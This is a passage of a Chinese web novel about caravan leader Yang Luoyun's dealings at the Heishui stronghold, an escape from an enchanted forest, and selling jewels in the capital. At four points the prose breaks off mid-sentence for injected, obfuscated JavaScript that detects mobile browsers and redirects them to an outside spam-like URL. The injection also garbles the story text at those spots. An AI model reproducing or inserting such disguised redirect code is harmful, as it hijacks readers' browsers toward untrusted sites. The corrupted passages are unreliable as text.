“苗当家和天堑关官府是否进行着交易？”杨洛云突然换了问题，她盯着苗素，不放过一丝表情变化。 “你从何得知？”苗素眼神骤冷。虽从黑水寨的探子口中听得杨洛云那番男女见解，知晓此人不寻常，但事关她的黑水寨，如此机密被外人知晓，让她心中烦躁。 “苗当家的营生涉猎广泛，做大做强只是时间问题。但从陈修一事可知，黑水寨必定和天堑关存在摩擦。通过关卡之时，百姓不管什么身份，都需费不少时间才能顺利进关，而黑水寨的货物往来却畅通无阻。我想，必定是您和官差达成了某项交易，换取自由通关的权利。” 杨洛云越说，苗素的脸色越沉，到最后几乎已经绷不住。 “我喜欢妙人，可太过聪明之人，我不会留。”屋内气压低了不少，杀气从苗素身上缓缓散发。 “苗当家别急，听我把分析说完。”杨洛云丝毫不惧，她继续淡然自若地开口：“我猜是陈修因货物运送的税收和官差发生了争执，官差直接动手伤人，后惧怕上司怪罪，便私自和您许下约定，若您不将陈修之事闹大，他们便给黑水寨自由运送和其他的便利。” 昭华国的汉法规定，像陈修这样非贱籍人士，未犯法而被官殴至重伤，行凶者需罢黜官职，入狱查办。 苗素听完，冷冷一笑：“你的想象可真丰富，但得拿出证据呀，没有证据擅自编造，罪名可不小。” 杨洛云掏出怀中的账册，向苗素抖了抖：“这是黑水寨和天堑关的往来账册，我若不是看了上面的记载，又怎知苗当家是怎样靠下属的性命换得盈利呢？” 苗素看到账本的第一眼，浑身上下都仿佛卸了力。 她转头望向床上的陈修和拉着他的手、用憎恶的眼神看着自己的婧娘，面上闪过一瞬的疯狂：“就是这个眼神！我们黑水寨银羽一族从未招惹过汉人吧，兢兢业业做自己的营生过自己的日子有错吗？就因我们是异族，那些憎恶的、嘲笑的眼神从未有一刻离开过。处处为难更是只多不少。” 她摸着颈上的银饰，眼中透着轻嘲：“三年前，我发榜招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276321|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收无论族别的经营者，好不容易把黑水寨名声打响，让那些小瞧我们的汉人看看，就算是汉人也要在我手底下做活，我们异族照样能做出一番生意。” “生意做大了，商贸开展了，汉人的关卡就找起事来了。天堑关的税收一日比一日多，一次比一次高，今天是蛮夷税，明天是通商税，后天又是蛮夷商贸税……我苦心经营换来的血汗钱，就因他们张口闭口冒出的税收，几乎化作一场空。”歇了歇，苗素抬手倒满一杯茶，痛快饮完。“如若不交税，他们不允通行不说，还把我寨子的兄弟抓去拷打！” “这和陈修有何关系？”杨洛云忍不住打断。 “确实与他无关，他是为数不多平等看待我族人的汉人。可他也很傻，因为税收居然敢和官差理论。我感激他给黑水寨带来的好处，也觉得对不起他……”苗素说着说着，声音低沉下去。 “让他人忍气吞声换来的好处，若是我，绝不会要。”杨洛云没好气地说。 她是“云岭十八骑”的云主，从来将马帮兄弟看得重要，如若是马帮人被汉人殴打，她必要闹去官府讨个说法。 “你还真是太天真，也罢。”苗素说完，看向婧娘母女：“我自认对不住陈修，已经尽力为他寻医诊治。如若你们想留下照顾他，我这就安排客房。” “白露，来看看婧娘的夫君。”洛云冲外头的白露喊。 “有些凶险，就看能不能醒过来了。”白露诊断后打开药囊，快速配制药材。 走到外间，杨洛云将账本递给苗素：“我知异族人和汉人打交道的不易。我们马帮在云岭古道交易，滇南即使有众多异族分布，也时常遭到汉人的歧视，何况是在这汉人更多的珞川黑水寨。” “我理解你千方百计为寨子和族人争取利益的心，但陈修这事确实处理得窝囊。”杨洛云看着苗素的眼睛：“我想和你做个交易，你将陈修一事重新处理，我和你签订珞川一带的贸易合作。只不过，合作需等我从玉京城回来再开始，你觉得如何？” 苗素再次仔细打量杨洛云：“你真有这本事？” “现在或许还办不到，但未来一定行！” “口头承诺不够分量，我怎知你能否从玉京活着回来。汉人本就狡诈，若你一去不复返，我和天堑关还闹翻扯皮，岂不是我吃亏？”苗素揶揄。 “那苗当家想如何？”杨洛云料到苗素不会轻易同意，并不生气。 “我要你留下一个人作为见证。” 杨洛云下意识想拒绝，可想到婧娘母女的情形，又思及未来玉京城的变数，点了点头。 阿吉就这样被安排去保护婧娘母女。他起初极不情愿，想到云主居然打算弃他而去，心中的小火苗就噌噌燃烧。 洛云将他单独唤来陈修之处，细细讲明婧娘一家的境况，又和他说起自己与苗素的贸易约定。 “所以，我是为保护婧娘和小玉儿，同时还帮云主监督苗当家的行动？” “当然！阿吉办的都是极重要之事，阿虎他们我还不放心呢。” 听完洛云的解释，阿吉心里的火苗“啪嗒”一声熄灭了。他严肃叮嘱杨洛云之后的安全，还不放心，又去了阿木叔的房间。 看着阿吉走远，杨洛云陷入沉默：异族人与汉人的贸易秩序，或许是时候该规整规整了…… 8. 千里潜行·迷魂凼 玉京城，二皇子府中。 晏晦明一脸阴沉地盯着跪在面前的侍卫长。 “你说，一路都没有发现‘云岭十八骑’的踪迹？” 侍卫长的头往下垂得更深了几分，身体不受控制地发起抖来。 “难道你就没有想过，他们会从黑水寨那条道绕路吗？杨洛云这些年在云岭古道上可不是白混的，就你们这不会变通的脑袋，能玩过她？”晏晦明怒不可遏。 侍卫长不敢吭声，如一塑雕像般直挺挺杵在那里，等着二皇子的责罚。 晏晦明走到桌案前，提笔蘸墨，写罢后吩咐道：“拿着我的令牌和这封书信，去钦天监找邬墨尘。” 侍卫长如蒙大赦，迅速消失。 一炷香之后，钦天监派出一队人马，领头之人身穿白衣、手持拂尘，往珞川的迷魂凼赶去。 知晓二皇子的动静，晏邃安缓缓起身，朝面前供奉着的牌位再次行礼，又掸掸衣袖上的香灰，转身问展锋：“我们的人是否还跟着杨洛云？” “只跟到了天堑关，关口的查验相对麻烦，属下就没再派人跟着。”展锋一五一十说明。 “既然如此，你就亲自走一趟，跟着钦天监邬墨尘，我倒要看看老二想让他做什么。” “那杨洛云一行？”展锋犹豫一瞬，还是开口询问，毕竟实在难得见自家王爷对哪个姑娘这么感兴趣过。 “顺道看着就行，不必出手。”晏邃安语气平静。 展锋有些疑惑，但还是忍住询问，乖乖办事去了。 珞川的黑水寨，苗素目送杨洛云一行走进晨光中，她回头看看一旁满眼泪水的阿吉，轻笑：“看来她对你很是不错，留在我这里，你可觉得不服？” 阿吉一把抹干净脸上包括表情在内的一切信息，用冷淡又不疏离的语气回复：“自然不会，苗当家尽管按约定做事就好，等云主回来，我定不折不扣地向她汇报您的功劳。” 说完，他毫无留恋地转身，给玉儿编草绳蚂蚱去了。 白露回头望望早已看不见踪影的黑水寨，打马靠近杨洛云：“阿云，我知道你将阿吉留下的用意，可你又怎能确信，苗素不会对阿吉和婧娘他们下手呢？” “用人不疑，疑人不用。苗素见到婧娘第一反应是下跪道歉，对于一个骄傲的女寨主而言，已实属难得，况且她也从未放弃给陈修寻找医治的希望。我相信她，这样的女子不屑在暗处使坏。” 白露默认了这番话，看着不远处的土丘，心中默默计算到达玉京城的时日。 杨洛云看出她的心思，开口补充：“还需翻过两座山、路过一道关卡，就能到达玉京城郊了。” 二人相视一笑，携队伍加快脚程。 三日后，一行人来到了距离玉京城最近的青鸾山。 青鸾山深处有昭华国闻名的密林：迷魂凼，往来鲜有从林中穿行者。 看着绕山路上密密麻麻的汉人守兵，杨洛云果断放弃绕路，选择从迷魂凼中穿过。 她对自己的丛林生存能力有自信，但对汉人没有。尤其身后只有五人，如若走绕山路去和汉兵硬碰硬，他们绝对没有任何胜算。 亲眼见杨洛云一行步入迷魂凼，不远处的钦天监监正邬墨尘眼底闪过寒芒。 在林中已经穿梭许久，仍未找到出口。阿虎有些心慌，他用刀在身旁的一棵树上留下标记，继续往前走。 一个时辰后，看着自己的标记，阿虎哭丧着脸：“云主，我们还是在原地打转呀！” 杨洛云早已发现迷魂凼的不同之处，她绕着走了两遍后，已经能够断定这是人为制造的阵法。 滇南云岭也有部族擅长利用自然环境设置阵法，她随阿爹在古道送货时曾经也遇到过。只是面前的阵法和之前有所不同，许是汉人的传世之法。 “别慌，先辨别方位。”杨洛云清冷的声音安抚了阿虎一众人的焦躁，他们迅速拿出罗盘，四处辨别着。 “不行，罗盘被干扰失灵了。”白露下判断。 杨洛云心中一沉，随即在脑海中迅速搜寻起其他方法。想到阿吉，她灵机一动。 “你们还记得火寅族的太阳历法辩位吗？”杨洛云问身后五人。 “十月太阳历！”阿木叔激动起来，众人想到这个方法，心中的希望重新燃起。 火寅族的“太阳历”，从长期的生活经验中总结得出。他们把一年划为十个月份，三十六日为一个月，剩下的五至六日会根据年份的不同，调整为“过年之日”以补齐一个完整的年份周期。 按照火寅族的记载，用十根长杆矗立于地，依靠太阳照射，观察其在地面上所呈的投影，再结合圭表和日晷，以及火寅族每月特定的方位守护兽，就能得到当日所处的节令和当地、当天地方的“真太阳时”。而投射出的晷针最高处正指向北天极，夜晚若顺着晷针方向，便可以看到北极星。 众人立刻分工寻找符合要求的树枝作为测杆。 当十根树枝依照固定位置摆放好后，杨洛云回忆着阿吉曾唱过的“火寅兽宫方位歌”，开始观察日影所指及其变化。 “十月蛇归洞，影偏角为东……”杨洛云低声念诵着。 “往这边走。”确定好方位，杨洛云毫不迟疑，率先朝着一个方向走去。 五人紧随其后，走了不知多久，四下景致几经变换，终于不再是于原地打转了。 来不及欣喜，林中雾气弥漫，厚重得几乎伸手不见五指。 “这又是什么情况？”阿虎有些摸不着头脑。 他们好不容易用火寅族的太阳历法找对方向，若顺着一直走，就有机会成功穿过这片玄乎的迷魂凼。可如今前路几乎被雾气挡了个严实，天色似乎也沉下来，但忽明忽暗，分不清是何时辰。 眼前的境况，让阿木叔想到杨洛云纳吉之日前一夜，他们穿过毒瘴林之时，同样是雾气弥漫。但此时的雾大得离奇，就像有人在操控一般…… 杨洛云也是这么想的，设计这样的阵法，除了针对自己一行，似乎没有其他可能。 “何人如此厉害？”白露忍不住感叹。 迷魂凼外，看着六人在雾中驻足，邬墨尘满意地顺了顺拂尘的白毛。能让二皇子亲自出面，要求他设局之人，这些年来一只手都可以数清楚。 他原本并不走心，觉得领头之人不过是个黄毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276322|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头。可当他们准确地识别方向，走出第一层阵法时，邬墨尘就眯起了眼——这个少女有些意思，他实在好奇她能否从迷魂凼内走出来。 杨洛云一边撕着手中的紫色扎染布，一边仔细留意着雾气的变化。挑了雾气最为稀薄的刹那，将手中的布屑抛出。 她观察着随风落下的布屑，藏不住地愉悦：“我知道该怎么走了！” 白露虽然没有明白杨洛云的用意，但还是跟随她一起撕着手中的扎染布。 “这些扎染布料是用含有紫草根的染剂上色的，之前并未来得及漂洗。把它们抛向空中，让雾气附着在布料上，当光线照过来时，这些布屑可以吸收黄绿光，强化紫光。我们顺着局部雾气沉降、能显现出紫光通道的地方走。” 杨洛云边走边和众人解说，大家一起抛撒着扎染布屑，确定紫光通道。 “注意抛撒高度，一定要高过头顶。”杨洛云又补充道。 若说这厚重的雾是人为造就的、天地呼吸间的凝噎，那么此刻抛撒着扎染布屑的杨洛云几人，就是刺破一切哀伤的尖针，所过之处，一切未知变为光束，勾勒出那条最为准确的路途。 众人就这样缓慢却精确地在迷魂凼内向前走着。中途又经过几次周折，在六人齐心协力下，麻烦被一一破除。 许久许久后，雾气消散，前路尽头出现不同的光影。 踏入光影的瞬间，世界终于恢复原样。一切回到正轨，他们破了阵法，成功走出迷魂凼！ 杨洛云观察片刻，见身后密林安静，风声正常掠过，确认没有追兵。 安下心来，一行人再没有停歇，一口气径直翻过了青鸾山。 直到前方已经隐约能见玉京城城门，大伙才下马休整。 众人不知道的是，此时已是次日黄昏，他们在迷魂凼内走了几乎一日一夜。 同样的一日一夜，邬墨尘已经面容憔悴，需要身后钦天监小吏扶着，才能上马回城。 邬墨尘没有料到，杨洛云破阵不走寻常路——他给入阵者想出的所有可能破解之法，杨洛云都没有运用。正因如此，他布阵时用的那些招数，最后因未曾被使用，全部反噬在了他的身上。 邬墨尘之所以能年纪轻轻坐稳钦天监监正之位，除了背后有不可告人的势力支持，倚仗的便是他邬家传世阵法。 经过迷魂凼一遭，他发现有人能用他未曾知晓的办法破阵，心中更是大震。身心俱疲之下，他已经管不了未能完成差事二皇子会如何发难，只想迅速回钦天监改良自己的阵法。 隐在暗处的展锋目睹整件事情的经过，满是震惊和钦佩地返回安王府。 悠悠火光下，杨洛云攥着半块茶马玉符，出神地望着天际。 明日就能进玉京城城郊，不知长眠的阿爹阿娘是否知晓，不知失踪的姑姑是否还活着，不知自己是否能查出杀害家人的汉人主使，不知前路是否艰险漫长，亦不知未来是否能重回云岭古道…… 夜空中的两颗星星似乎剧烈地闪烁了一下，或许是阿爹阿娘在鼓励自己勇敢地走下去吧。 杨洛云如是想着，目不转睛盯着星空。几息后，她沉沉进入了梦乡。 9. 千里潜行·玉京郊 玉京城坐北朝南，皇宫位于最北端。东、西、南面分别设有三道规模较大的城门，北面为方便进出皇宫，还设有六道小门。 此刻，杨洛云一行正在南面最左侧的安化门外。 这里属于玉京城城郊，也是护城河的排污口处。污水裹挟着淤泥自城内流出，于几尺开外的闸门处泥水分离。 看着经过闸门后逐渐清澈的河水，杨洛云心中赞叹：能创造出如此精妙的机械，设计者实在是个妙人！如若有机会与之相见，定要请教学习。能把这样的技术带回滇南，可以让生活在怒江泥沙段的族人减少许多麻烦。 正想着，杨洛云冷不防被身侧快速跑过的小男孩撞得一个趔趄。 扶着马鞍站稳，看向孩子的来处。几十间用茅草和木头勉强搭成的房子低矮破败，里面住着大大小小几百人。 “这就是贫民窟吗？”阿虎向阿木叔询问。 滇南在昭华国的位置虽然偏远，但昔日云诏国政权留下来的财富以及各部族世代的经营，多多少少都建成了村寨。居住在云岭的部族更因古道的贸易往来，逐渐小有积蓄。如这般简陋的屋舍和恶劣的生活条件，马帮众人已经很多年未曾见过了。 白露从鞍架的竹篓里找出几块糖，走到怯怯盯着他们看的几个小女孩跟前。 “你们为什么都挤在这里？”她温声问其中一个年纪略大的女孩。 “他们说我爹爹犯了错，原本住的家被官兵封了。”女孩低低地回答。 “本来我们要被卖到青楼里或者被流放的，但是城里有位贵人保下了我们。”另一个身形瘦瘦小小、眼睛却亮晶晶的小女孩出声补充。她的眼神还黏在糖上，久久舍不得移开。 白露把糖分给她们，转身回到马前。 那个主动开口的小女孩急追几步，看着异于京城人装扮的六人，大着胆子开口：“请问，你们可以带我走吗？我可以当仆婢，基本的活我都会做。” 看着她充满期待的眼神，杨洛云狠狠心，冷声回绝：“抱歉，我们要进城，你跟在我们身边并不安全。” 小女孩眸中的光暗了暗，道谢欲走。 “等等。”另一道清亮的女声从杨洛云身后传来。 一队西域打扮的商队缓缓停在六人身后。领头女子高鼻梁、深眼窝、颧骨略高，肌肤呈现健康的小麦色，浓密乌黑的发辫间点缀着玉饰，另还戴着精美的刺绣头纱。 “这难道是阿雅尔·铁木尔？”杨洛云心想，转头打量商队的配置和运送的货物。 毕竟西域商队屈指可数，女首领似乎只有“驼铃商队”的阿雅尔·铁木尔一人。 见到又一个漂亮的姐姐，小女孩几乎移不开眼。 阿雅尔·铁木尔被小女孩的表情逗笑了，伸手摸摸她的头，眼神扫过杨洛云：“这个姐姐不敢带你走，我可没这顾虑。告诉我，你叫什么名字？” 听着她略微生硬的汉话，杨洛云确定了面前女子的身份。 “我没有名字，请您赐名。” 阿雅尔·铁木尔有些为难，她从未在中原遇到这样的情况。 “成为仆婢需要重新取名，这是汉人的习惯。”杨洛云出声解释。 “我的仆人足够了，不需要多你一个。你跟着我学做生意吧！” 小女孩几乎不敢相信自己的耳朵，她还是执着地希望得到一个新名字——作为和过去一切的道别，也是赋予自己的新生。 “你帮她取一个吧。”阿雅尔冲杨洛云道。她实在不擅长汉话，能够日常交流即可，取名这样费脑筋的事情她向来能躲就躲。 杨洛云沉思片刻，走到小女孩跟前蹲下：“于城郊如此环境下，你仍在努力争取向上的机会，这般年龄就有如此坚韧，非常难得。” 说着，杨洛云捡起一根树枝，握着小女孩的手，在泥地里一笔一划写字。 “愿你‘知天地阔，韧岁月长’，能够知晓天地之大，亦能用这份韧劲笑对无常。就叫‘知韧’如何？” “啪嗒”一滴水珠落在泥地里，接着一滴滴不断落下，将地上的‘知’字模糊了轮廓。 “怎么，你这个名字她取得不好？”阿雅尔见小女孩止不住地哭，语气不善。 “没有，没有！知韧，我以后就叫知韧了！”她快速抹干泪水，笑着朝杨洛云道谢，又向阿雅尔恭恭敬敬磕头。 知韧从原先住处出来时，看看其他几个同伴，又仰头看阿雅尔。 阿雅尔撇撇嘴：“我欣赏不自甘堕落、愿意向上搏生机的人。” 言外之意，只有知韧勇敢迈出求救的一步，至于其他甘愿苟活之人，她不会插手。 知韧本就没有奢望过阿雅尔还会发善心，闻言向同伴挥挥手，将自己偷偷藏下的几张干饼塞给年长的孩子，转身离去。 阿雅尔一边走，一边用自己的语言朝商队说着什么。 杨洛云听出那是西域的月泉邦语，阿雅尔说的是：“将来我一定要把生意做大，给刚刚那些孩子一份活计。” 她看着阿雅尔自信的模样，对这句话未来实现的可能性毫不怀疑。 两队人先后朝安化门走，离城门近了，就见告示栏上醒目地贴着一幅画像。 阿雅尔看看画，又看看杨洛云，轻叹口气：“我以为你是嫌知韧麻烦，现在看来，你真遇到难事了。” 杨洛云一手把头发扯散，一手胡乱往脸上抹泥，闻言笑笑：“阿雅尔首领总喜欢把人往坏处想。” 阿雅尔一顿，从怀里掏出一封信：“你知道这是什么？” “是滇南云岭十八骑杨洛云的说明信笺。” 阿雅尔收起信，拉下杨洛云胡乱抹脸的手，又给身后人使个眼色。 一刻钟后，杨洛云一行跟着阿雅尔顺利进了城。 往下拉了拉面巾，摸摸被阿雅尔梳成辫子的头发，杨洛云有些不自在地扭头。看见白露和阿虎他们同样被“自然融入”进西域商队中，她发自内心道谢。 “一码归一码，我是看在你帮小知韧取名的面上才帮你的。上回你放我鸽子，留一封信就把我打发这事，我可还生气着呢。”阿雅尔别过脸不看杨洛云。 许久没听见杨洛云的解释，阿雅尔疑惑回头。 “你怎么不说话？” “如果我说，我并不后悔放你鸽子，你会生气吗？” “我需要原因。” 杨洛云深呼吸，竭力控制着音调：“云岭十八骑最重诚信，可我不后悔对你唯一一次的失信。因为……因为那次失信，给了我见父母亲人最后一面的机会。” “非常抱歉。”阿雅尔没料到事情竟是这样，信中只说滇南还有要事未安排，下次再见。 “是我该向你道歉，确实是我失信了。”杨洛云并未说无妨，在她看来，亲人离世本就是件悲伤的事，不需要刻意说无妨来欺骗自己。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276323|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我还以为你是在报复我几次三番拒绝云岭十八骑的邀请呢。”阿雅尔岔开话题，不等杨洛云开口，径自解释：“商队前几年遇到了个麻烦，我怕接受你的邀请会被他来搅局。” “那怎么不像我一样写个说明？” “那麻烦什么都拦，别说信件，就是我想给外面放只苍蝇都无法成功。” 杨洛云心领神会，没有继续打探阿雅尔所谓的“麻烦”是谁。 她视线随意地掠过玉京城街道两侧各式稀奇古怪的小玩意儿，察觉有一道目光始终追随着自己。 趁商队转过巷口，杨洛云迅速朝目光投来之处寻去，并未看见人。 飞快闪身躲到窗后的晏邃安心漏跳半拍，他没有想到，杨洛云如此敏锐。 昨日听展锋把杨洛云几人顺利走出迷魂凼，还把钦天监弄得灰头土脸时，他就想亲眼看看这个厉害的云主是何模样了。 看到二皇子贴在城门口的画像，他还好奇过杨洛云会用什么办法进城，结果这次居然是蹭西域商队的便利。 收拾好一闪而过的失望，晏邃安装成一副无事发生地表情落座。 早就观察他一阵子的萨迪克，摩挲着手中的波斯玻璃盏，一脸玩味：“美人如玫瑰，带刺才珍贵。我们的安王殿下这是看上了哪朵玫瑰呀？” 晏邃安心平气和地忽略他的话，翻开一本账册，一条条细看。 萨迪克被他严肃的表情唬住，安静地缩在一边。 “最近滇南的货物似乎有所变动？” “自从云骧府被屠、云岭十八骑离开后，滇南古道那边的交易就非常混乱。最近一个叫木铎的小子接手大半订单，似乎很受滇南人的追捧。”萨迪克不屑地回答。 “木铎，和杨洛云曾有婚约的弩山首领？他为何忽然势大？”晏邃安皱皱眉。 “或许是他差点和云岭十八骑结亲，毕竟以马帮在滇南云岭的认可度，大家认可他也情有可原。”展锋说着自己的猜想。 “没有这么简单，你不是说屠府那夜老二也在吗，查查他和木铎是否有私下交易。” 看着展锋离开，萨迪克又和晏邃安说起东北贸易的情况。 “话说，为什么你们叫‘云岭十八骑’呢？”客栈内，阿雅尔杵着下巴满脸好奇。 杨洛云和阿雅尔商议，先让自己的人暂住西域商队的落脚处，等自己寻得住处便离开。当然，这几日的吃住花销，马帮会按利付给商队。 “我的先祖初建马帮时，只有十八匹滇马和十八位马夫。”杨洛云将马帮的故事简要讲给阿雅尔听。与阿雅尔相处的半日，二人都颇感相见恨晚，知音难觅。 “那我该怎样称呼你？阿雅尔·铁木尔这个名字好长。” “叫我阿雅或者阿雅尔就好，铁木尔是我父亲的名字，我的全名在月泉邦语里是快乐而坚强的意思。” “你的名字是什么含义？”阿雅尔反问，她实在不擅长剖析字义。 “我阿娘生我前特别喜欢看美人图，阿爹便说‘洛神遗韵滇南驻，云外清铃引万骢（cōng）’，希望我能有洛神的气质和白云的自由。”杨洛云回忆着，唇角不自觉上扬。 二人一问一答间酝酿睡意，最终干脆同榻而眠。 杨洛云听着身旁阿雅尔均匀的呼吸声，多日的担惊受怕淡去。这是除了白露外，第二个让她能够交心的好友，洛云迷迷糊糊想着…… 10. 珠市惊鸿 第二日一早，杨洛云独自出了客栈。 她今日没有再用阿雅尔给的月泉邦族服饰掩饰身份，毕竟日后行走在外，总不能时时以西域月泉邦的形象示人。 杨洛云穿着滇南云岭雪木族的服饰：米黄色棉布上衣、百褶长裙；戴着绣花头巾，额头佩着弯月银饰；披肩由羊皮制成，上面缀着七枚圆形布绣，从布绣中垂下七条纹饰不同的飘带。 滇南云岭的雪木族姑娘勤劳且独立，这样的服饰是她们披星戴月、努力生活的象征。 杨洛云今早特意将眉眼拉长，稍微修饰过自己的容貌。若不是对她极其熟悉之人，很难将她与城门告示栏画像上的女子联系在一起。 因着这一身不同于玉京打扮的服饰，她顺利以异族商人的身份进入了珠宝集市。 玉京城的珠宝集市位于城西主要商贸区的中心，集聚着来自昭华国各地的不同珠宝。达官贵人购买珠宝首饰，大都在城东的珠宝铺子。来城西采购珠宝的不是制作首饰的能工巧匠，就是喜爱收藏奇珍异宝的商人。 “瞧瞧这难得一见的冰花玉，耳珰、玉珏、步摇都可以做！” “西北的纯玛瑙，念珠、项链的首选材料！” “珍珠珍珠，东南海域最近刚采回的，先到先得！” 珠宝集市内的吆喝宣传之音不绝于耳，杨洛云观察着不同珠宝的产地、价位，听着售卖者对其质地和用途的讲解，心下有了主意。 她原是想将一整套滇南白夷族的银饰和象翎族的孔雀羽头冠，拿到城东的珠宝铺子里出售。可惜当铺掌柜并不识货，看着她的打扮一个劲儿嚷嚷：“南蛮粗工，不值钱。拿走拿走！” 想要避免玉京汉人先入为主的歧视性估价现象，只能从原始珠宝入手。 杨洛云一路上已经将银饰和头冠上值钱的珠宝取下，她特意选择用滇南竹编作为容器，在人多易生事的街道内，最大限度保护好自己和珠宝的安全。 在古道往来贸易的几年里，杨洛云见多了因财物招来偷窃甚至丢掉性命的祸事。 她径直走到最靠近集市出口的空位前，将珠宝一一取出，精心摆放在显眼又不易掉落的位置。 “新来的？之前好像没见过你哟。”看着她的动作，摊位旁边售卖琥珀的大娘朝杨洛云寒暄。 “是，这是从西南来的珠宝。”杨洛云礼貌回答。 “西南那边来的货最近卖得可好了。我听说滇南原先一直有稳定供货，不知怎的，如今只剩珞川在卖了。你这也是珞川的？” “是滇南的珠宝。” 云岭十八骑的运送名单中，就有专供玉京城首饰的一队人马。不知在云岭留下的马帮兄弟如今怎么样，也不知古道贸易的近况，杨洛云在心中叹息。 借用大娘的自制画笔写好宣传标语，杨洛云加入叫卖行列。 为了和其他商贩区别开来，她特意用的西南口音：“滇南珠宝，最新上市，不要错过！” 没过多久，三三两两的买家就被杨洛云独特的音调和许久不见的滇南珠宝吸引过来。 知晓珠宝的售价后，一部分买家望而却步。 “这滇南的珠宝我之前也是买过的，可没见这么贵呀。你莫不是来招摇撞骗的？”一个大腹便便的中年男子斜眼瞅着杨洛云。 身旁围观众人附和。 杨洛云平静地开口：“这位公子有所不知，我的珠宝不比先前所售那些。前段日子滇南的珠宝未曾来集市售卖，是与不是？” 看着被自己成功吸引注意的几人，杨洛云趁热打铁道：“是因为我们回去精心挑选，把那些品质一般、样式普通的珠宝停供了。大家现在看到的这些，数量虽少，胜在品质与其故事！若您有兴趣，不妨听我讲讲？” 听惯了一致的宣传吆喝，第一次见有故事可听，几人安静下来，寻得椅子坐下，就这么围着杨洛云形成一个圈。 路过的买家、售完的卖家还有借道回家的人见势，好奇有之、兴奋有之，你挤我我挤你，杨洛云的摊位前不一会儿就人满为患。 将幼时听来的滇南各部族传统爱情故事汇总改编，杨洛云声泪俱下地开始讲述。 得知这些珠宝是一位滇南雪木族男子千辛万苦寻得，却最终未能赠予病故的心上人，围观众人皆唏嘘哀叹。较为感性的一些女子，甚至难过得抹起眼泪来。 看着效果差不多了，杨洛云停顿片刻，拿出竹编里最精致、工艺最为细腻的银饰给众人展示：“那雪木族男子因爱人离世心伤难愈，不久就郁郁而终。我们给他与他的爱人合葬时，在那女子的闺房中发现了这件手工银饰。” “是他心上人准备赠给他的吗？”有人好奇。 “公子猜得不错，那女子也欲将亲手做的礼物赠予男子。哎，只可惜，天不遂人愿呐。”杨洛云掏出手帕开始抹眼睛。 “若各位也有一个放在心尖、视作珍宝的爱人，珠宝已经在此，各位不必如那男子般历经万难寻得。将这些珠宝买去，再次打磨制作也好，直接赠予心上人也罢，就当是既给自己爱人的礼物，又帮那痛失爱人的男子体会一下心愿达成的快乐，如何？” 四下静默半晌，众人从这凄美惋惜的故事里回过神，那大腹便便的中年男子率先开口：“我买一个，愿那男子来世不再错过心上人！” 一个打扮利落的姑娘从人群里挤出来，高声询问：“可以把那姑娘自己做的银饰卖给我吗？真情难觅，待我也有心上人，我定不叫故事里的悲剧发生。” 有人认出她的身份，笑着打趣：“柳屠户，这珠宝银饰不应该是男子赠予女子的吗？你这是……” “你刚才是不长耳朵还是没有带脑子呀，这银饰本就是姑娘为爱人所做。更何况，谁说表明心意只有男子能做，我虽还未遇见心上人，提前备下不行啊？”柳姑娘气势汹汹地开口打断。 “这位姑娘说的没错，爱情于男子和女子而言本就是平等的，不存在只有男子能送女子珠宝一说。若能像柳姑娘一般直率地表达心意，世间将会少多少对遗憾错过的伤心人呐。”杨洛云顺势总结。 听到她的这番话，一些远远站着的姑娘也争抢着上前，想要提前备下自己的心意。 柳姑娘冲杨洛云露出发自内心的笑容，捧着精致的银饰转身离去。 杨洛云的一番操作，让带来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276324|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠宝瞬间以既定的价格售空。她数着手中的银子，盘算着大约足够拿去租房了，这才满意地离开。 人群中的展锋再次被惊呆，头戴黑色斗笠的晏邃安盯着少女轻松的表情，语带笑意：“瞧她这办法当真有效，只是本王有心学习，也无颜像说书人一样当着一群人的面，声情并茂地讲述虐心的爱情话本子。” “不如让萨迪克去和杨洛云学习学习？”展锋坏笑着出主意。 “是个好办法。”晏邃安难得开怀。 主仆二人隐在散场的人潮中离开。 躲在柱子后面的杨洛云看着二人的背影，下意识攥紧拳头。 